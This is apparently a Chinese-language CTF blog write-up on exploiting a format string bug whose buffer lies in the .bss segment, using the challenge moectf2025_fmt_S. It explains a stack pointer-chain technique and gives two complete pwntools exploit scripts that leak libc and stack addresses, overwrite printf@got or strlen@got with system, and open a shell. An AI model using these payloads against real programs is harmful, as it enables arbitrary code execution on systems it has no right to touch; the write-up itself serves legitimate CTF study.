Featured image of post bss段上格式化字符串漏洞

bss段上格式化字符串漏洞

由于格式化字符串不在栈上,无法直接将想要改写的地址指针放置在栈上,也就没办法实现任意地址写。那么就要想办法将想改写的地址指针放到栈上

%x$n 写地址时是将此处数据作为指针,改写的是该指针指向的内容

A–> B–> C–>

假设A的偏移为x,%x$n会将B作为指针,改写其指向的内容C

如果我们想修改printf的got表,首先需要如下结构

D–> printf@got printf真实地址

栈上没有这种结构,我们找相似地址然后修改低字节从而向栈上写入got

1

printf_got地址为0x404028

2

这个就很像

3(这个图和其他图不是在同一次运行)

利用这个三连指针结构,将9修改低二字节成为上面的10

4 5

修改完毕后如上 ,出现了6,可以修改0x40136f低二字节使其成为printf@got

7

8

出现了D–>printf@got–>printf真实地址 的结构,修改printf真实地址的低四字节使其成为system真实地址

例题moectf2025_fmt_S 上面的讲解就是以这个题为例的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  puts("You're walking down the road when a monster appear.");
  for ( i = 1; i <= 3 && !flag; ++i )
    talk();
  if ( (unsigned __int64)atk <= 0337522 )
    puts("You've been eaten by the monster.");
  else
    he();
  return 0;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
size_t talk()
{
  puts("You start talking to him...");
  *(_DWORD *)&flag ^= 1u;
  read(0, fmt, 0x20uLL);
  printf(fmt);
  puts("?");
  puts("You enraged the monster-prepare for battle!");
  return my_read(&atk, 8uLL);
}
1
2
3
4
5
size_t __fastcall my_read(_BYTE *a1, size_t a2)
{
  a1[read(0, a1, a2)] = 0;
  return strlen(a1);
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
unsigned __int64 he()
{
  char command[6]; // [rsp+2h] [rbp-Eh] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  qmemcpy(command, "a_flag", sizeof(command));
  puts("The monster is defeated, and you obtain: flag?");
  system(command);
  return v2 - __readfsqword(0x28u);
}

exp如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
context(log_level="debug",arch="amd64")
p=process('./pwn')
#p=remote('node5.anna.nssctf.cn',26001)
#p=remote('192.168.40.1',51743)
#gdb.attach(p,'b *0x4011D6')
#gdb.attach(p)
#p=remote('113.45.176.209',9998)
#p=remote('1.95.36.136',2102)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
printf_got=0x404028
p.recvuntil(b'You start talking to him...')
p.sendline(b'%8$paaaa%13$p')
p.recvuntil(b'0x')
stack = int(p.recv(12), 16)
p.recvuntil(b'aaaa0x')
libcbase = int(p.recv(12), 16)- 0x29d90
system=libcbase+libc.sym['system']
print(hex(stack))
print(hex(libcbase))

p.sendlineafter("You enraged the monster-prepare for battle!", b'a' * 7)

#change i
stack1 = stack - 0x4
a = stack1 & 0xffff
payload = b'%' + str(a).encode() + b'c%6$hn'

p.sendline(payload)
p.sendlineafter("You enraged the monster-prepare for battle!", b'a' * 7)

p.recvuntil("You start talking to him...")
p.sendline(b'%47$hn')
p.sendlineafter("You enraged the monster-prepare for battle!", b'a' * 7)

stack2=stack+0x18
b=stack2 & 0xffff
pay2=b'%'+str(b).encode()+b'c%34$hn'
p.sendline(pay2)
p.sendlineafter("You enraged the monster-prepare for battle!", b'a' * 7)

#change i
stack1 = stack - 0x4
a = stack1 & 0xffff
payload = b'%' + str(a).encode() + b'c%6$hn'

p.sendline(payload)
p.sendlineafter("You enraged the monster-prepare for battle!", b'a' * 7)

p.recvuntil(b'You start talking to him...')
p.sendline(b'%47$hn')
p.sendlineafter("You enraged the monster-prepare for battle!", b'a' * 7)

c = printf_got & 0xffff
pay3=b'%'+str(c).encode()+b'c%49$hn'
gdb.attach(p)
p.sendline(pay3)
p.sendlineafter("You enraged the monster-prepare for battle!", b'a' * 7)

d = system & 0xffffffff
pay4 = b'%' + str(d).encode() + b'c%15$n'
p.sendline(pay4)
p.sendlineafter("You enraged the monster-prepare for battle!", b'a' * 7)

p.sendline(b'sh')
print("elf.got['printf'] =", hex(elf.got["printf"]))
p.interactive()

由于循环次数不够 所以每执行一次操作需要修改i为0重置循环次数 不知道为什么flag=1了还能循环

还有一个方法 exp如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import  *
p=process('./pwn')
context(log_level='debug',arch='amd64')
p.recvuntil('You start talking to him...')
strlen_got=0x404008
p.sendline(b'%4210696c%6$lln')
p.recvuntil(b'You enraged the monster-prepare for battle!')
p.send(b'a'*8)
p.recvuntil('You start talking to him...')
sys_plt=0x4010e0
p.sendline(b'%4198624c%47$lln')
p.recvuntil(b'You enraged the monster-prepare for battle!')
p.send(b'/bin/sh\x00')
p.interactive()

利用三连指针把strlen_got写入栈中,然后修改strlen@got中内容为system的plt表

共生产 19 篇文章,约 39.77k 字使用 Hugo 构建
主题 Stack 由 Jimmy 设计